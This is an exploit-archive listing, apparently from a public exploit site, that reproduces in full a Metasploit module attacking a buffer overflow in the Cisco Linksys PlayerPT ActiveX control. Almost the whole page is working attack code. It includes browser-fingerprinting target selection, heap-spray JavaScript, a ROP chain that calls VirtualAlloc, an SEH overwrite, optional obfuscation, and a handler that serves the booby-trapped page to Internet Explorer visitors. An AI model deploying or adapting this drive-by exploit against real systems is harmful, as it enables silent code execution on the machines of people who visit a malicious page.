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Cisco Linksys PlayerPT ActiveX Control Buffer Overflow

Cisco Linksys PlayerPT ActiveX Control Buffer Overflow
Posted Jul 27, 2012
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15 as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in the SetSource method, allows to trigger a stack based buffer overflow which leads to code execution under the context of the user visiting a malicious web page.

tags | exploit, web, overflow, code execution
systems | cisco
advisories | OSVDB-80297
MD5 | acdba609d7271195f26d8234afdc02d7

Cisco Linksys PlayerPT ActiveX Control Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
:method => "SetSource",
:rank => NormalRanking
})


def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco Linksys PlayerPT ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
the SetSource method, allows to trigger a stack based buffer overflow which leads
to code execution under the context of the user visiting a malicious web page.
},
'Author' =>
[
'rgod', # PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '80297' ],
[ 'BID', '54588' ],
[ 'EDB', '18641' ],
[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',

},
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\x5c",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Cisco Linksys PlayerPT ActiveX Control 1.0.0.15
[ 'Automatic', { } ],
[
'IE 6 on Windows XP SP3',
{
'Spray' => true,
'SprayBlocks' => 0x185,
'SprayOffset' => '0x0',
'OffsetStackBottom' => 8556
}
],
[
'IE 7 on Windows XP SP3 / Windows Vista SP2',
{
'Spray' => true,
'SprayBlocks' => 0x185,
'SprayOffset' => '0x0',
'OffsetStackBottom' => 3220
}
],
[
'IE 8 on Windows XP SP3',
{
'Spray' => false,
'OffsetRop' => 160,
'Offset' => 456,
'Ret' => 0x1002c536, # ADD ESP,0A2C # RETN from PlayerPT.ocx
'OffsetStackBottom' => 4108
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 22 2012',
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class
)

end

def get_spray(t, js_code, js_nops)

spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['SprayOffset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var z=1; z < #{t['SprayBlocks']}; z++) {
heap_obj.alloc(block);
}

JS

return spray

end

# rop chain generated with mona.py
def create_rop_chain()

rop_gadgets =
[
0x77c2f271, # POP EBP # RETN [msvcrt.dll]
0x77c2f271, # skip 4 bytes [msvcrt.dll]
0x77c5335d, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c4e392, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34de1, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479e2, # POP EDI # RETN [msvcrt.dll]
0x77c39f92, # RETN (ROP NOP) [msvcrt.dll]
0x77c3b8ba, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c4e392, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c51025, # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")

return rop_gadgets
end

def get_payload(my_target)

case my_target.name
when /IE 6 on Windows XP SP3/
my_payload = "\x0c" * my_target['OffsetStackBottom']
return my_payload
when /IE 7 on Windows XP SP3 \/ Windows Vista SP2/
my_payload = "\x0c" * my_target['OffsetStackBottom']
return my_payload
when /IE 8 on Windows XP SP3/
my_payload = rand_text_alpha(my_target['OffsetRop'])
my_payload << create_rop_chain
my_payload << make_nops(my_target['Offset'] - my_payload.length)
my_payload << generate_seh_record(my_target.ret)
my_payload << payload.encoded
my_payload << rand_text_alpha(my_target['OffsetStackBottom'] - my_payload.length)
return my_payload
end

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows Vista SP2
else
return nil
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have a setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

js = ""

if my_target['Spray']
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js = get_spray(my_target, js_code, js_nops)

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
end

sploit = get_payload(my_target)
sploit = sploit.gsub(/"/, "\\\"")

html = <<-MYHTML
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
<script>
obj.SetSource("","","","","#{sploit}");
</script>
</body>
</html>
MYHTML

html = html.gsub(/^\t\t/, '')

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

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